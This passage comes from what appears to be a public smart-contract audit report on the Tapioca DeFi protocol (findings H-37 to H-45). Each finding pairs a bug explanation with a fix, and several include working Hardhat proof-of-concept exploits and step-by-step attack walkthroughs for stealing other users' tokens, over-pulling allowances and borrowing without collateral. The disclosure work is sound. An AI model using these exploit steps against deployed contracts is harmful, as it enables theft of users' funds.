rewardTokens[claimableIndex].safeTransfer(_to, amount);
}
++i;
}
}
}
Here we want to investigate a case where a user sends some random address in the array rewardTokens. We already showed that this value is set by the user, and the above quoted snippet receives the same value in the _rewardTokens variable.
In the for loop, the indexes are found. But if rewardTokens[i] is a garbage address, the mapping rewardTokenIndex will return the default value of 0 which will be stored in claimableIndex. The array amounts stores the amounts of the different tokens that can be claimed by the user. But since claimableIndex is now 0, the safeTransfer function in the end is always called on the token rewardTokens[0]. Thus a user can withdraw the rewardtoken in index 0 multiple times and in amounts based on the values stored in the amounts array.
Thus we have shown that a user can steal an unfair amount of tokens stored in the 0 index of the rewardTokens array variable in the twTAP.sol contract. This will mess up the reward distribution for all users, and can lead to an insolvent contract. Thus this is deemed a high severity issue.
Proof of Concept
The attack can be done in the following steps:
- Attacker calls
claimRewardson chain A. The attacker is assumed to have a valid position on chain B with pending rewards. - The attacker passes an array of garbage addresses in the
rewardTokensparameter. - The contract sends forth the message to the destination chain, where the twTAP contract is called to collect the rewards.
- As shown above, the reward token stored in index 0 is sent multiple times to the caller, which is the
TapOFTcontract. - In the TapOFT contract, the contract then sends all the collected rewards in the contract cross chain back to the attacker. Thus the tokens in index 0 were claimed and collected.
Thus the attacker can claim an unfair number of tokens present in the 0th index. If this token is more valuable than the other rewward tokens, the attacker can profit from this exploit.
Recommended Mitigation Steps
Mitigation can be done by not using the 0th index. The zero index of the rewardTokens array in twTAP.sol, if left empty, will point to the zero address, and if an unknown address is encountered, the contract will try to claim the tokens from the zero address which will revert.
This can be enforced by using the statement rewardTokens.push(address(0)) in the constructor. However changes will need to be made on other operations in the contract which loops over this array to skip operations on this zero address now present in the array.
0xRektora (Tapioca) confirmed via duplicate issue 1093
[H-37] Liquidation transactions can potentially fail for all markets
Submitted by zzzitron, also found by GalloDaSballo
As an example, when calling BigBang.liquidate() the tx potentially fails, because the subsequent call to Market.updateExchangeRate (BigBang.sol line 316) can face a revert condition on line 344 in Market.sol.
In Market.updateExchangeRate() a revert is triggered if rate is not bigger than 0 - see line 344 in Market.sol.
Liquidations should never fail and instead use the old exchange rate - see BigBang.sol line 315 comment:
// Oracle can fail but we still need to allow liquidations
But the liquidation transaction can potentially fail when trying to fetch the new exchange rate via Market.updateExchangeRate() as shown above.
This issue applies for all markets (Singularity, BigBang) since the revert during the liquidation happens in the Market.sol contract from which all markets inherit.
Because of this issue user’s collateral values may fall below their debt values, without being able to liquidate them, pushing the protocol into insolvency.
This is classified as high risk because liquidation is an essential functionality of the protocol.
Proof of Concept
Here is a POC that shows that a liquidation tx reverts according to the issue described above:
https://gist.github.com/zzzitron/90206267434a90990ff2ee12e7deebb0
Recommended Mitigation Steps
Instead of reverting on line 344 in Market.sol when fetching the exchange rate, consider to return the old rate instead, so that the liquidation can be executed successfully.
[H-38] Magnetar contract has no approval checking
Submitted by carrotsmuggler, also found by 0xStalin
The Magnetar.sol contract has a lot of useful helper function to carry out operations on user market positions. If a user wishes to use the helper functions, they have to first give approval to the Magnetar contract to manipulate their positions. As an example, for the big bang markets, this is done by calling the updateOperator function.
function updateOperator(address operator, bool status) external {
operators[msg.sender][operator] = status;
}
Since this is a helper function, we can expect users to give this approval in order to use these functions. However the issue is that any attacker can use these approvals to manipulate and drain positions of other users.
As an example, let us look at the withdrawToChain function. Lets assume an attacker is calling this function, and the victim’s address is passed in the from field. Assume the victim has given all approvals to the Magnetar contracts. The function delegates this to the withdrawToChain in the Market module.
In withdrawToChain function, there are no checks on the msg.sender address. The function interacts with yieldbox and does a crosschain send to the erceiver address passed by the attacker.
if (dstChainId == 0) {
yieldBox.withdraw(
assetId,
from,
LzLib.bytes32ToAddress(receiver),
amount,
share
);
return;
}
yieldBox.withdraw(assetId, from, address(this), amount, 0);
ISendFrom(address(asset)).sendFrom{value: gas}(
address(this),
dstChainId,
receiver,
amount,
callParams
);
This sends the tokens to the receiver address either in the same chain or cross-chain. This lets any user steal tokens from any other user, exploiting the approval given to the magnetar address.
While this report only discusses the issue with this one function, the same issue is present for every function in the magnetar contract. This allows attackers to manipulate bigbang markets and singularity markets as well. Thus this is a high severity issue.
Proof of Concept
A POC is developed by editing the test present in magnetar.test.ts. Only a single change is made to the test. The last withdrawToChain call is done from the eoa1 address instead of the deployer address.
it.only("should test withdrawTo", async () => {
const {
deployer,
eoa1,
yieldBox,
createTokenEmptyStrategy,
deployCurveStableToUsdoBidder,
usd0,
bar,
__wethUsdcPrice,
wethUsdcOracle,
weth,
wethAssetId,
mediumRiskMC,
usdc,
magnetar,
initContracts,
timeTravel,
} = await loadFixture(register)
const usdoStratregy = await bar.emptyStrategies(usd0.address)
const usdoAssetId = await yieldBox.ids(1, usd0.address, usdoStratregy, 0)
//Deploy & set Singularity
const SGLLiquidation = new SGLLiquidation__factory(deployer)
const _sglLiquidationModule = await SGLLiquidation.deploy()
const SGLCollateral = new SGLCollateral__factory(deployer)
const _sglCollateralModule = await SGLCollateral.deploy()
const SGLBorrow = new SGLBorrow__factory(deployer)
const _sglBorrowModule = await SGLBorrow.deploy()
const SGLLeverage = new SGLLeverage__factory(deployer)
const _sglLeverageModule = await SGLLeverage.deploy()
const newPrice = __wethUsdcPrice.div(1000000)
await wethUsdcOracle.set(newPrice)
const sglData = new ethers.utils.AbiCoder().encode(
[
"address",
"address",
"address",
"address",
"address",
"address",
"uint256",
"address",
"uint256",
"address",
"uint256",
],
[
_sglLiquidationModule.address,
_sglBorrowModule.address,
_sglCollateralModule.address,
_sglLeverageModule.address,
bar.address,
usd0.address,
usdoAssetId,
weth.address,
wethAssetId,
wethUsdcOracle.address,
ethers.utils.parseEther("1"),
]
)
await bar.registerSingularity(mediumRiskMC.address, sglData, true)
const wethUsdoSingularity = new ethers.Contract(
await bar.clonesOf(
mediumRiskMC.address,
(await bar.clonesOfCount(mediumRiskMC.address)).sub(1)
),
SingularityArtifact.abi,
ethers.provider
).connect(deployer)
//Deploy & set LiquidationQueue
await usd0.setMinterStatus(wethUsdoSingularity.address, true)
await usd0.setBurnerStatus(wethUsdoSingularity.address, true)
const LiquidationQueueFactory = await ethers.getContractFactory(
"LiquidationQueue"
)
const liquidationQueue = await LiquidationQueueFactory.deploy()
const feeCollector = new ethers.Wallet(
ethers.Wallet.createRandom().privateKey,
ethers.provider
)
const { stableToUsdoBidder } = await deployCurveStableToUsdoBidder(
deployer,
bar,
usdc,
usd0
)
const LQ_META = {
activationTime: 600, // 10min
minBidAmount: ethers.BigNumber.from((1e18).toString()).mul(200), // 200 USDC
closeToMinBidAmount: ethers.BigNumber.from((1e18).toString()).mul(202),
defaultBidAmount: ethers.BigNumber.from((1e18).toString()).mul(400), // 400 USDC
feeCollector: feeCollector.address,
bidExecutionSwapper: ethers.constants.AddressZero,
usdoSwapper: stableToUsdoBidder.address,
}
await liquidationQueue.init(LQ_META, wethUsdoSingularity.address)
const payload = wethUsdoSingularity.interface.encodeFunctionData(
"setLiquidationQueueConfig",
[
liquidationQueue.address,
ethers.constants.AddressZero,
ethers.constants.AddressZero,
]
)
await (
await bar.executeMarketFn(
[wethUsdoSingularity.address],
[payload],
true
)
).wait()
const usdoAmount = ethers.BigNumber.from((1e18).toString()).mul(10)
const usdoShare = await yieldBox.toShare(usdoAssetId, usdoAmount, false)
await usd0.mint(deployer.address, usdoAmount)
const depositAssetEncoded = yieldBox.interface.encodeFunctionData(
"depositAsset",
[usdoAssetId, deployer.address, deployer.address, 0, usdoShare]
)
const sglLendEncoded = wethUsdoSingularity.interface.encodeFunctionData(
"addAsset",
[deployer.address, deployer.address, false, usdoShare]
)
await usd0.approve(magnetar.address, ethers.constants.MaxUint256)
await usd0.approve(yieldBox.address, ethers.constants.MaxUint256)
await usd0.approve(wethUsdoSingularity.address, ethers.constants.MaxUint256)
await yieldBox.setApprovalForAll(deployer.address, true)
await yieldBox.setApprovalForAll(wethUsdoSingularity.address, true)
await yieldBox.setApprovalForAll(magnetar.address, true)
await weth.approve(yieldBox.address, ethers.constants.MaxUint256)
await weth.approve(magnetar.address, ethers.constants.MaxUint256)
await wethUsdoSingularity.approve(
magnetar.address,
ethers.constants.MaxUint256
)
const calls = [
{
id: 100,
target: yieldBox.address,
value: 0,
allowFailure: false,
call: depositAssetEncoded,
},
{
id: 203,
target: wethUsdoSingularity.address,
value: 0,
allowFailure: false,
call: sglLendEncoded,
},
]
await magnetar.connect(deployer).burst(calls)
const ybBalance = await yieldBox.balanceOf(deployer.address, usdoAssetId)
expect(ybBalance.eq(0)).to.be.true
const sglBalance = await wethUsdoSingularity.balanceOf(deployer.address)
expect(sglBalance.gt(0)).to.be.true
const borrowAmount = ethers.BigNumber.from((1e17).toString())
await timeTravel(86401)
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(1)
await weth.freeMint(wethMintVal)
await wethUsdoSingularity
.connect(deployer)
.approveBorrow(magnetar.address, ethers.constants.MaxUint256)
const borrowFn = magnetar.interface.encodeFunctionData(
"depositAddCollateralAndBorrowFromMarket",
[
wethUsdoSingularity.address,
deployer.address,
wethMintVal,
0,
true,
true,
{
withdraw: false,
withdrawLzFeeAmount: 0,
withdrawOnOtherChain: false,
withdrawLzChainId: 0,
withdrawAdapterParams: ethers.utils.toUtf8Bytes(""),
},
]
)
let borrowPart = await wethUsdoSingularity.userBorrowPart(deployer.address)
expect(borrowPart.eq(0)).to.be.true
await magnetar.connect(deployer).burst(
[
{
id: 206,
target: magnetar.address,
value: ethers.utils.parseEther("2"),
allowFailure: false,
call: borrowFn,
},
],
{
value: ethers.utils.parseEther("2"),
}
)
const collateralBalance = await wethUsdoSingularity.userCollateralShare(
deployer.address
)
const collateralAmpunt = await yieldBox.toAmount(
wethAssetId,
collateralBalance,
false
)
expect(collateralAmpunt.eq(wethMintVal)).to.be.true
const totalAsset = await wethUsdoSingularity.totalSupply()
await wethUsdoSingularity
.connect(deployer)
.borrow(deployer.address, deployer.address, borrowAmount)
borrowPart = await wethUsdoSingularity.userBorrowPart(deployer.address)
expect(borrowPart.gte(borrowAmount)).to.be.true
const receiverSplit = deployer.address.split("0x")
await magnetar
.connect(eoa1)
.withdrawToChain(
yieldBox.address,
deployer.address,
usdoAssetId,
0,
"0x".concat(receiverSplit[1].padStart(64, "0")),
borrowAmount,
0,
"0x00",
deployer.address,
0
)
const usdoBalanceOfDeployer = await usd0.balanceOf(deployer.address)
expect(usdoBalanceOfDeployer.eq(borrowAmount)).to.be.true
})
This test passes, showing that the eoa1 address is able to withdraw tokens belonging to the deployer.
Tools Used
Hardhat
Recommended Mitigation Steps
Add approval checks to all functions in the Magnetar contract.
[H-39] AaveStrategy.sol: Changing swapper breaks the contract
Submitted by carrotsmuggler, also found by 0xfuje, Vagner, kaden, rvierdiiev, and ladboy233
The contract AaveStrategy.sol manages wETH tokens and deposits them to the aave lending pool, and collects rewards. These rewards are then swapped into WETH again to compound on the WETH being managed by the contract. this is done in the compound function.
uint256 calcAmount = swapper.getOutputAmount(swapData, "");
uint256 minAmount = calcAmount - (calcAmount * 50) / 10_000; //0.5%
swapper.swap(swapData, minAmount, address(this), "");
To carry out these operations, the swapper contract needs to be given approval to use the tokens being stored in the strategy contract. This is required since the swapper contract calls transferFrom on the tokens to pull it out of the strategy contract. This allowance is set in the constructor.
rewardToken.approve(_multiSwapper, type(uint256).max);
The issue arises when the swapper contract is changed. The change is done via the setMultiSwapper function. This function however does not give approval to the new swapper contract. Thus if the swapper is upgraded/changed, the approval is not transferred to the new swapper contract, which makes the swappers dysfunctional.
Since the swapper is critical to the system, and compound is called before withdrawals, a broken swapper will break the withdraw functionality of the contract. Thus this is classified as a high severity issue.
Proof of Concept
The bug is due to the absence of approve calls in the setMultiSwapper function. This can be seen from the implementation of the function.
function setMultiSwapper(address _swapper) external onlyOwner {
emit MultiSwapper(address(swapper), _swapper);
swapper = ISwapper(_swapper);
}
Recommended Mitigation Steps
In the setMultiSwapper function, remove approval from the old swapper and add approval to the new swapper. The same function has the proper implementation in the ConvexTricryptoStrategy.sol contract which can be used here as well.
function setMultiSwapper(address _swapper) external onlyOwner {
emit MultiSwapper(address(swapper), _swapper);
rewardToken.approve(address(swapper), 0);
swapper = ISwapper(_swapper);
rewardToken.approve(_swapper, type(uint256).max);
}
0xRektora (Tapioca) confirmed via duplicate issue 222
[H-40] BalancerStrategy.sol: _withdraw withdraws insufficient tokens
Submitted by carrotsmuggler, also found by kaden, n1punp, and chaduke
The funciton _withdraw in the balancer strategy contract is called during withdraw operations to withdraw WETH from the balancer pool. The function calculats the amount to withdraw, and then calls _vaultWithdraw function.
if (amount > queued) {
uint256 pricePerShare = pool.getRate();
uint256 decimals = IStrictERC20(address(pool)).decimals();
uint256 toWithdraw = (((amount - queued) * (10 ** decimals)) /
pricePerShare);
_vaultWithdraw(toWithdraw);
}
The function _vaultWithdraw submits an exit request with the following userData.
exitRequest.userData = abi.encode(
2,
exitRequest.minAmountsOut,
pool.balanceOf(address(this))
);
A value of 2 here corresponds to specifying the exact number of tokens coming out of the contract. Thus the function _vaultWithdraw will withdraw the exact number of tokens passed to it in its parameter.
The issue however is that the function _vaultWithdraw is not called with the amount of tokens needed to be withdrawn, it is called by the amount scaled down by pricePerShare. Thus if the actual withdrawn amount is less the amounts the user actually wanted. This causes a revert in the next step.
require(
amount <= wrappedNative.balanceOf(address(this)),
"BalancerStrategy: not enough"
);
Since an insuffucient amount of tokens are withdrawn, this step will revert if there arent enough spare tokens in the contract. Since the contract incorrectly scales doen the withdraw amount and causes a revert, this is classified as a high severity issue.
Proof of Concept
The following exercise shows that passing the same exitRequest data to the balancerPool actually extracts the exact number of tokens as specified in minamountsOut.
A position is created on optimism’s weth-reth pool. The userData is generated using the following code.
```solidity
function temp() external pure returns(bytes memory){
uint256[] memory amts = new uint256[](2);
amts[0] = 500;
amts[1] = 0;
uint256 max = 20170422329691;
return(abi.encode(2,amts,max));
}
Min amount out of WETH is set to 500 wei. The exitRequestis then constructed as follows with the userData from above.
{
"assets": [
"0x4200000000000000000000000000000000000006",
"0x9bcef72be871e61ed4fbbc7630889bee758eb81d"
],
"minAmountsOut": ["500", "0"],
"toInternalBalance": false,
"userData": "0x00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000012584adba15b000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000001f40000000000000000000000000000000000000000000000000000000000000000"
}
This is an exit request of type 2, which specifies the exact amount of tokens to be withdrawn. This transaction was then run on tenderly to check how many tokens are withdrawn. From the screenshot here from tenderly we can see only 500 wei of WETH is withdrawn.
This proves that the _vaultWithdraw function withdraws the exact amount of tokens passed to it as a parameter. Since the passed parameter is scaled down by pricePerShare, this leads to an insufficient amount withdrawn, and eventually a revert.
Tools Used
Tenderly
Recommended Mitigation Steps
Pass the amount to be withdrawn without scaling it down by pricePerShare.
0xRektora (Tapioca) confirmed via duplicate issue 51
[H-41] Rewards compounded in AaveStrategy are unredeemable
Submitted by Ack, also found by kaden and rvierdiiev
The AaveStrategy contract is designed to:
- Receive depositor’s ERC20 tokens from yieldBox
- Deposit those tokens into an AAVE lending pool
- Allow anyone to call
compound(), which: a. Claims AAVE rewards from theincentivesControllerb. Claims staking rewards from thestakingRewardToken(stkAAVE) c. Redeeming staking rewards is only possible within a certain cooldown window that is set by AAVE governance. The function resets the cooldown if either 12 days have passed since the cooldown was last initiated, or if the strategy has a stakedRewardToken balance d. Swaps any receivedrewardToken($AAVE) forwrappedNativee. Deposits thewrappedNativereceived in the swap into the lending pool
There are several issues with this flow, but this vulnerability report is specific to redeeming staked rewards. The incentives controller specified in the mainnet.env file is at address 0xd784927Ff2f95ba542BfC824c8a8a98F3495f6b5 (proxy). Its claimRewards function stakes tokens directly:
function _claimRewards(
...
) internal returns (uint256) {
...
uint256 accruedRewards = _claimRewards(user, userState);
...
STAKE_TOKEN.stake(to, amountToClaim); //@audit claimed rewards are staked immediately
...
}
The only way to retrieve tokens once staked is via a call to stakingRewardToken#redeem(), which is not present in the AaveStrategy contract. As a result, any rewards accumulated via the incentiveController would not be claimable.
Impact
High - Loss of funds
Proof of concept
This is unfortunately difficult to PoC as the AAVE incentive/staking rewards do not accumulate properly in the fork tests, and the mocks do not exhibit the same behavior.
Recommended Mitigation Steps
Include a call to redeem in compound().
0xRektora (Tapioca) confirmed via duplicate issue 243
[H-42] Attacker can steal victim’s oTAP position contents via MagnetarMarketModule#_exitPositionAndRemoveCollateral()
Submitted by Ack, also found by zzebra83
NOTE: This vulnerability relies on the team implementing an onERC721Received() function in Magnetar. As is currently written, attempts to exit oTAP positions via Magnetar will always revert as Magnetar cannot receive ERC721s, despite this being the clear intention of the function. This code path was not covered in the tests. Once implemented, however, an attack vector to steal twAML-locked oTAP positions opens.
Also, this is a similar but distinct attack vector from #933.
MagnetarMarketModule#_exitPositionAndRemoveCollateral() is a complex function used to perform any combination of: exiting an oTAP position, unlocking a locked tOLP position, removing assets and collateral from Singularity/bigBang, and repaying loans. The function achieves this by employing separate “if” clauses for each task that the caller would like to perform. These clauses are entered based on flags the caller provides in the argument struct removeAndRepayData.
Along with the set of operations to perform, the caller also provides:
- address
userto operate on - address externalData.bigBang
- address externalData.singularity
- address yieldbox (obtained by calling the user-provided
ISingularity(externalData.singularity).yieldBox())
As the caller has full control of all of these parameters, he can execute attacks to steal assets that have been approved to Magnetar.
Impact
High - Theft of funds
Proof of concept
Unfortunately the Magnetar tests do not cover the case where we wish to exit our oTAP position, and the periphery testing infrastructure does not include helper functions for the oTAP workflows (at least that I was able to find). This makes a coded PoC difficult and time consuming. Please consider the following walkthrough and reach out if a coded example is necessary.
In this case, we’re going to assume that a victim wants to use this function as-designed to exit his twAML-locked oTAP position. In order to do so he needs to grant approval in for Magnetar to transfer his position.
Once approved, anyone can call _exitPositionAndRemoveCollateral() with his own set of target addresses (some valid Tapioca addresses, some attacker-owned contracts) and the approver as user.
The attack is as follows:
- Victim approves Magnetar to control his oTAP positions
-
Attacker first calls
_exitPositionAndRemoveCollateral(), with:removeAndRepayData.exitData.exit = trueremoveAndRepayData.unlockData.unlock = true- The
userto steal from - the
tokenIdto exit + steal - removeAndRepayData.unlockData.target = an attacker-controlled contract that just passes when called with
.unlock()
- Magnetar transfers the oTAP position to itself and exits the position. It retains the yieldbox shares at the end of the call
-
Attacker calls
_exitPositionAndRemoveCollateral(), with:- removeAndRepayData.exitData.exit = false
- removeAndRepayData.unlockData.unlock = true
- The
useris the attacker’s address for receiving the unlocked shares - the tokenId to exit + steal
- removeAndRepayData.unlockData.target = the real tOLP contract
(The attacker could have alternately used a similar bigBang attacker contract approach for removing the yieldbox shares in step 4 as in #933 )
function _exitPositionAndRemoveCollateral( // @audit called via delegatecall from core MagnetarV2 w/o any agument validation
address user,
ICommonData.ICommonExternalContracts calldata externalData,
IUSDOBase.IRemoveAndRepay calldata removeAndRepayData
) private {
IMarket bigBang = IMarket(externalData.bigBang); // @audit all 3 of these can be attacker controlled
ISingularity singularity = ISingularity(externalData.singularity);
IYieldBoxBase yieldBox = IYieldBoxBase(singularity.yieldBox());
uint256 tOLPId = 0;
if (removeAndRepayData.exitData.exit) { // @audit true, enter this block
require(
removeAndRepayData.exitData.oTAPTokenID > 0, // @audit oTAP ID we want to unlock+steal
"Magnetar: oTAPTokenID 0"
);
address oTapAddress = ITapiocaOptionsBroker(
removeAndRepayData.exitData.target // @audit target here is attacker-controlled, but retrieve the real oTAP address
).oTAP();
(, ITapiocaOptions.TapOption memory oTAPPosition) = ITapiocaOptions( // @audit get the oTAP postion we're exiting
oTapAddress
).attributes(removeAndRepayData.exitData.oTAPTokenID);
tOLPId = oTAPPosition.tOLP;
address ownerOfTapTokenId = IERC721(oTapAddress).ownerOf(
removeAndRepayData.exitData.oTAPTokenID
);
require(
ownerOfTapTokenId == user || ownerOfTapTokenId == address(this), // @audit owner is user, passes
"Magnetar: oTAPTokenID owner mismatch"
);
if (ownerOfTapTokenId == user) { // @audit true
IERC721(oTapAddress).safeTransferFrom( // @audit transfer the token here
user,
address(this),
removeAndRepayData.exitData.oTAPTokenID,
"0x"
);
}
ITapiocaOptionsBroker(removeAndRepayData.exitData.target) // @audit address is
.exitPosition(removeAndRepayData.exitData.oTAPTokenID);
if (!removeAndRepayData.unlockData.unlock) { // @audit unlock = true, skip this
IERC721(oTapAddress).safeTransferFrom(
address(this),
user,
removeAndRepayData.exitData.oTAPTokenID,
"0x"
);
}
}
// performs a tOLP.unlock operation
if (removeAndRepayData.unlockData.unlock) {
if (removeAndRepayData.unlockData.tokenId != 0) {
if (tOLPId != 0) {
require(
tOLPId == removeAndRepayData.unlockData.tokenId,
"Magnetar: tOLPId mismatch"
);
}
tOLPId = removeAndRepayData.unlockData.tokenId;
}
// @audit .target here is attacker controlled - just pass first time!
// Second time, the attacker specifies the real tOLP contract and themselves as "user" to have the tokens unlocked to their address
ITapiocaOptionLiquidityProvision(
removeAndRepayData.unlockData.target
).unlock(tOLPId, externalData.singularity, user);
}
Recommended Mitigation Steps
- Do not allow arbitrary address input in these complex, multi-use functions.
- Consider breaking this into multiple standalone functions
- Require user == msg.sender
> 0xRektora (Tapioca) confirmed
[H-43] Accounted balance of GlpStrategy does not match withdrawable balance, allowing for attackers to steal unclaimed rewards
Submitted by kaden, also found by kaden (1, 2) and cergyk
Attackers can steal unclaimed rewards due to insufficient accounting.
Proof of Concept
Pricing of shares for Yieldbox strategies is dependent upon the total underlying balance of the strategy. We can see below how we mint an amount of shares according to this underlying amount.
// depositAsset()
uint256 totalAmount = _tokenBalanceOf(asset);
if (share == 0) {
// value of the share may be lower than the amount due to rounding, that's ok
share = amount._toShares(totalSupply[assetId], totalAmount, false);
} else {
// amount may be lower than the value of share due to rounding, in that case, add 1 to amount (Always round up)
amount = share._toAmount(totalSupply[assetId], totalAmount, true);
}
_mint(to, assetId, share);
The total underlying balance of the strategy is obtained via asset.strategy.currentBalance.
function _tokenBalanceOf(Asset storage asset) internal view returns (uint256 amount) {
return asset.strategy.currentBalance();
}
GlpStrategy._currentBalance does not properly track all unclaimed rewards.
function _currentBalance() internal view override returns (uint256 amount) {
// This _should_ included both free and "reserved" GLP:
amount = IERC20(contractAddress).balanceOf(address(this));
}
As a result, attackers can:
-
Deposit a high amount when there are unclaimed rewards
- Receiving a higher amount of shares than they would if accounting included unclaimed rewards
- Harvests unclaimed rewards, increasing
_currentBalance, only after they received shares
-
Withdraw all shares
-
Now that the balance is updated to include previously unclaimed rewards, the attacker profits their relative share of the unclaimed rewards
- The more the attacker deposits relative to the strategy balance, the greater proportion of interest they receive
-
Recommended Mitigation Steps
It’s recommended that _currentBalance include some logic to retrieve the amount and value of unclaimed rewards to be included in it’s return value.
cryptolyndon (Tapioca confirmed)
[H-44] BigBang::repay and Singularity::repay spend more than allowed amount
Submitted by zzzitron
When an user allows certain amount to a spender, the spender can spend more than the allowance.
Note that this is a different issue from the misuse of allowedBorrow for the share amount
(i.e. issue ”BigBang::repay uses allowedBorrow with the asset amount, whereas other functions use it with share of collateral”), as the fix in the other issue will not mitigate this issue.
This issue is the misuse of part and elastic, whereas the other issue is the misuse of the share and asset.
Proof of Concept
The spec in the MarketERC20::approve function specifies that the approved amount is the maximum amount that the spender can draw.
/// @notice Approves `amount` from sender to be spend by `spender`.
/// @param spender Address of the party that can draw from msg.sender's account.
/// @param amount The maximum collective amount that `spender` can draw.
/// @return (bool) Returns True if approved.
function approve(
address spender,
uint256 amount
) public override returns (bool) {
However, the spender can draw more than the allowance if the totalBorrow.base is more thant totalBorrow.elastic, which is likely condition.
The proof of concept below demonstrates that more asset was pulled than allowed.
It is only a part of proof of concept; to see the full proof of concept see https://gist.github.com/zzzitron/8dd809c0ea39dc0ea727534c3ba804f9
To use it, put it in the test/bigBang.test.ts in the tapiocabar-audit repo
The eoa1 allows deployer 1e18. After the timeTravel, the elastic of totalBorrow is more than the base. Under the condition, the deployer uses the allowance with the BigBang::repay function. As the result, more asset than allowance was pulled from eoa1.
it('should not allow repay more PoCRepayMoreThanAllowed', async () => {
////////
// setup steps are omitted
// the full proof of concept is
// https://gist.github.com/zzzitron/8dd809c0ea39dc0ea727534c3ba804f9
////////
// eoa1 allows deployer (it should be `approve`, if the modifier in the repay is `allowedLend`)
const allowedPart = ethers.BigNumber.from((1e18).toString());
await wethBigBangMarket.connect(eoa1).approveBorrow(deployer.address, allowedPart);
//repay from eoa1
// check more than the allowed amount is pulled from yieldBox
timeTravel(10 * 86400);
// repay from eoa1 the allowed amount
// balance before repay of eoa in the yieldBox for the asset
const usdoAssetId = await wethBigBangMarket.assetId();
const eoa1ShareBalanceBefore = await yieldBox.balanceOf(eoa1.address, usdoAssetId);
const eoa1AmountBefore = await yieldBox.toAmount(usdoAssetId, eoa1ShareBalanceBefore, false);
await wethBigBangMarket.repay(
eoa1.address,
deployer.address,
false,
allowedPart,
);
const eoa1ShareBalanceAfter = await yieldBox.balanceOf(eoa1.address, usdoAssetId);
const eoa1AmountAfter = await yieldBox.toAmount(usdoAssetId, eoa1ShareBalanceAfter, false);
console.log(eoa1AmountBefore.sub(eoa1AmountAfter).toString());
expect(eoa1AmountBefore.sub(eoa1AmountAfter).gt(allowedPart)).to.be.true;
});
The result of the poc is below, which shows that 1000136987569097987 is pulled from the eoa1, which is more than the allowance (i.e. 1e18).
BigBang test
poc
1000136987569097987
✔ should not allow repay more PoCRepayMoreThanAllowed (11934ms)
The same issue is also in the Singularity. In the same manner shown above, the spender will pull more than allowed when the totalBorrow.elastic is bigger than the totalBorrow.base.
Details of the bug
The function BigBang::repay uses part to check for the allowance.
However, the BigBang::_repay draws actually the corresponding elastic of the part from the from address.
function _repay(
address from,
address to,
uint256 part
) internal returns (uint256 amount) {
(totalBorrow, amount) = totalBorrow.sub(part, true);
userBorrowPart[to] -= part;
uint256 toWithdraw = (amount - part); //acrrued
uint256 toBurn = amount - toWithdraw;
yieldBox.withdraw(assetId, from, address(this), amount, 0);
The similar lines of code is also in the Singularity. The Singularity::repay will delegate call on the SGLBorrow::repay, which has the modifier of allowedBorrow(from, part):
// SGLBorrow
function repay(
address from,
address to,
bool skim,
uint256 part
) public notPaused allowedBorrow(from, part) returns (uint256 amount) {
updateExchangeRate();
Then, amount is calculated from the part, and the amount is pulled from the from address in the below code snippet.
function _repay(
address from,
address to,
bool skim,
uint256 part
) internal returns (uint256 amount) {
(totalBorrow, amount) = totalBorrow.sub(part, true);
userBorrowPart[to] -= part;
uint256 share = yieldBox.toShare(assetId, amount, true);
uint128 totalShare = totalAsset.elastic;
_addTokens(from, to, assetId, share, uint256(totalShare), skim);
totalAsset.elastic = totalShare + uint128(share);
emit LogRepay(skim ? address(yieldBox) : from, to, amount, part);
}
The amount is likely to be bigger than the part, since the calculation is based on the totalBorrow’s ratio between elastic and base.
Then the amount is used to withdraw from from address, meaning that more than the allowance is withdrawn.
The discrepancy between the allowance and actually spendable amount is going to grow in time, as the totalBorrow’s elastic will outgrow the base in time.
Tools Used
Hardhat
Recommended Mitigation Steps
Instead of using the part to check the allowance, calculate the actual amount to be pulled and use the amount to check the allowance.
[H-45] SGLLiquidation::_computeAssetAmountToSolvency, Market::_isSolvent and Market::_computeMaxBorrowableAmount may overestimate the collateral, resulting in false solvency
Submitted by zzzitron
An user can borrow via BigBang::borrow when there is no collateral amount from the user’s share. The BigBang will falsely consider the position as solvent, when it is not, resulting in a loss.
A similar issue presents in the Singularity as SGLLiquidation::_computeAssetAmountToSolvency will overestimate the collateral, therefore liquidate less than it should.
Proof of Concept
The following proof of concept demonstrates that au user could borrow some assets, even though the collateral share will not give any amount of collateral.
Put the full PoC in the following gist into test/bigBang.test.ts in tapiocabar-audit.
https://gist.github.com/zzzitron/14482ea3ab35b08421e7751bac0c2e3f
it('considers me solvent even when I have enough share for any amount PoCBorrow', async () => {
///////
// setup is omitted
// full poc is https://gist.github.com/zzzitron/14482ea3ab35b08421e7751bac0c2e3f
///////
const wethCollateralShare = ethers.BigNumber.from((1e8).toString()).sub(1);
await wethBigBangMarket.addCollateral(
deployer.address,
deployer.address,
false,
0,
wethCollateralShare,
// valShare,
);
// log
let userCollateralShare = await wethBigBangMarket.userCollateralShare(deployer.address);
console.log("userCollateralShare: ", userCollateralShare.toString());
let userCollateralShareToAmount = await yieldBox.toAmount(wethAssetId, userCollateralShare, false);
console.log("userCollateralShareToAmount: ", userCollateralShareToAmount.toString());
let collateralPartInAsset = (await yieldBox.toAmount(wethAssetId, userCollateralShare.mul(1e13).mul(75000), false))
console.log("collateralPart in asset times exchangerRate", collateralPartInAsset.toString())
const exchangeRate = await wethBigBangMarket.exchangeRate();
console.log("exchangeRate:",exchangeRate.toString());
console.log("can borrow this much:",collateralPartInAsset.div(exchangeRate).toString());
//borrow even though the collateral share is not enough for any amount of collateral
const usdoBorrowVal = collateralPartInAsset.div(exchangeRate).sub(1)
await wethBigBangMarket.borrow(
deployer.address,
deployer.address,
usdoBorrowVal,
);
let userBorrowPart = await wethBigBangMarket.userBorrowPart(
deployer.address,
);
expect(userBorrowPart.gt(0)).to.be.true;
console.log(userBorrowPart.toString())
});
The result of the test is:
BigBang test
poc
userCollateralShare: 99999999
userCollateralShareToAmount: 0
collateralPart in asset times exchangerRate 749999992500000000
exchangeRate: 1000000000000000
can borrow this much: 749
748
✔ considers me solvent even when I have enough share for any amount PoCBorrow (12405ms)
In the scenario above, The deployer is adding share of collateral to the bigbang using BigBang::addCollateral. The added amount in the below example is (1e8 - 1), which is too small to get any collateral from the YieldBox, as the yieldBox.toAmount is zero.
However, due to the calculation error in the Market::_isSolvent, the deployer could borrow 748 of asset. Upon withdrawing the yieldBox will give zero amount of collateral, but the BigBang let the user borrow non zero amount of asset.
Similarly one can show that Singularity will liquidate less than it should, due to similar calculation error.
